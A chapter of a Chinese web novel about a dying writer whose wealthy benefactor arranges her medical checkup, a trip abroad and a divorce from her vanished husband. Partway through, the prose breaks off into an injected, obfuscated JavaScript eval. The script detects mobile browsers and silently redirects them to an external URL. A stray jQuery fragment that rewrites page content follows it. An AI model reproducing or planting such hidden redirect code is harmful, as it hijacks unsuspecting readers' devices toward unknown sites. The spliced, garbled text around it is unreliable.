10. 离婚
作品:《网文作者的临终关怀日常》 孟胤东来是有正事儿的,因为今天是我术后首次大查体。
公立医院没法做,太多项目需要家属或监护人签字,我可不想让刘哥看到我躺在房车大的改装保姆车上,身边还坐着个年轻有为的俏男人。
有时候我还会做噩梦,时间就仿佛回到了刚确诊那阵儿,我在床上起了满身热疹,连翻身都翻不顺畅。我不爱吃医院供的饭,药物吸收也不好,血管都瘪得像轧了气的轮胎,恨不得得吹一口才能扎上针。
人总是好了伤疤忘了疼,明明是不久前才发生的事,现在想想都分不清是梦境还是现实。
原雯今天被孟胤东强制放了假,其他跟随的医护连同林瑾阳都在另一辆SUV上,孟胤东抬起驾驶位后的挡板,这偌大的空闲里就只有我俩面面相觑。
“这次查体指标好,过完年就送你出国。”沉默的空间里,他刻意提起话题。但不知道是不是我的错觉,孟胤东最近的笑容有点多。
“谢谢孟总。”我自然是高兴的。三十岁不靠父母,纯靠厚脸皮,还能到国外耍一圈。
我的指标可一定得好啊!!!
一下车我就被人群簇拥着抬上担架,辗转于各个检查科室。抽血这样常规的操作也就罢了,有些设备又大又嗡嗡响,还挺吓人,独留我自己进检查室的时候,时间分秒过得太过漫长,偏偏还提醒我连眼珠子也不能乱动,属实煎熬得很。
这一套流程一直到黄昏才结束。孟胤东被大夫叫走去看结果,几个小护士则推着我去打了针补液——中午我有点头晕目眩,饭是一口没吃进去。
“大孟,你说你年纪不小了,怎么也不找个媳妇儿。”郭凡边仔细查看着屏幕上的报告和影像,边和孟胤东打趣。
俩人是留学时的好友。孟胤东母亲重病的时候,就是他不远万里把导师请回了国。
孟胤东斜他一眼,郭凡马上转移了话题:“结果还行,她现在主要是肝肾功能较差,再一个有点零散的转移灶,没办法,晚期才发现,能恢复成这样已经很好了,三年内存活率能上七十。你等去参加完那个项目把报告给我带回来,不行那些转移灶我找人给她做伽马刀。”
“谢了。”孟胤东拍拍他肩,起身要走。
“过年上家吃饭啊,你嫂子总说请你,我跟你说,她那些闺蜜啊,也有不少单身的……好好好,不说不说,咱过年还是兄弟聚!”
等孟胤东从医生办公室出来,我已经陷入了深度睡眠。折腾一天遭不住,有点发烧,推回养老院的时候给原雯心疼坏了,一直拿热毛巾给我擦身子。
“小孟总,怎么样呀?”她低声问。
“恢复很好,你这阵受累了。”孟胤东也跟着折腾一天有些疲累,嗓音干哑:“过阵子你去办个签证,年后我准备带她出国。”
“好。”
原雯目送着孟胤东离开,轻轻带上了门。她心里莫名有种预感,孟胤东对这个得了绝症的姑娘,不仅仅是出于救助的心思。
他有礼貌,跟任何人说话都很客气,也很疏离。当年他的大哥因事没能参加母亲的葬礼,他也只是点点头,没外露太多情绪。
人的蜕变或许真的是一夜之间,可有些本性的、根儿里带着的东西,是很难转变的。
我这一觉睡得不好,还梦着个大型抗战连续剧。梦里我是个神投手,屡获战功太自大,结果手榴弹炸到了在对面埋伏的友军。等我跟着战友一起去对面看,被炸伤的人竟然是孟胤东。他一条胳膊被我炸出去好远,仔细看手指还在微微蠕动。
我被吓醒了,还哀嚎了一声。原雯慌里慌张地跑来,还以为我哪里疼了。
“林瑾阳早上来过,你还没醒。”原雯拿毛巾轻轻擦拭我的脸,“好像是来找你要什么东西。”
我拿起床头的手机,给他拨过去。
“哦,是这样,孟总托助理去办你的签证,因为你有配偶,大使馆那边需要你的户口本。我这儿只有你的身份证,工作人员说特批不了,都要留存记档的。”
户口本。
坏了。
我勉强回忆起主卧靠刘哥那边的床头柜底层,里面放着结婚证房产证户口本等一系列材料,还有一把俏皮的小锁。
“纪冬?你在听吗?你告诉我户口本放在哪儿,我去给你拿。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963628|161171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
梦里那颗手榴弹,好像在我耳边炸响了。
我呆坐了一天,都在想要不要给刘哥去个电话。我编撰了很多借口,自己都觉得假的不行,等到最后终于有勇气拿起手机,却忘了他的号码。
我只能找孟胤东。
他晚上来了,问我来龙去脉,还有户口本的位置,让我甭操心,这段时间就好好养身体。
结果过两天他又领了个律师来。我现在一看律师就觉得没好事儿,心里都咯噔一下。
他言简意赅,我也意识清醒——孟胤东想要帮我操办离婚。
我静静看完了律师递来的起诉材料,沉默而又颓丧地握着笔,盯着签字的横线出神。
“我没联系到刘岩,那套房子也已经易了主。我不知道他目前在哪里,但法院一定会找到他。你也无需露面,我会在开庭前撤诉,再给他一笔钱。”
听听,多体贴,多周到。
但我没答应。
虽然老刘……跟流氓也没什么分别。但我们一起相处了小十年的时光,虽然算不上美好,但从某种意义上讲,他是我人生中不可或缺的一部分。
他没提离婚,我也不好开口讲的。或许我们也有独特的默契,那张死亡通知书才是我们婚姻的终点。
而且我还欠了他四万块钱。或许等我分配遗产的时候,可以给他翻个小番。
孟胤东难得的撂了脸子,原雯同为女人,或许是懂我的心思,劝着孟胤东先出去了。
律师好脾气地收起文件,终是没忍住开了口:“孟总昨天亲自去了刘岩的老家,他的母亲满口污言秽语,她倒不知你生病,只说刘岩为了你好工作都不要了,现在精神也有问题,摆明了是要讹钱。孟总直接给了她四万块钱,就想知道刘岩的下落。那混蛋接了他娘的电话,却没胆子露面,不知躲在哪里。”
这律师年轻得很,看样对孟胤东也是忠心,话说到最后语气都扬了上来,拿一副“真是白瞎我们孟总一片好心”的面孔对着我。
我没想到孟胤东能做到这份上。直到这一刻,我才恍然意识到,似乎太多事,他都本不该亲力亲为。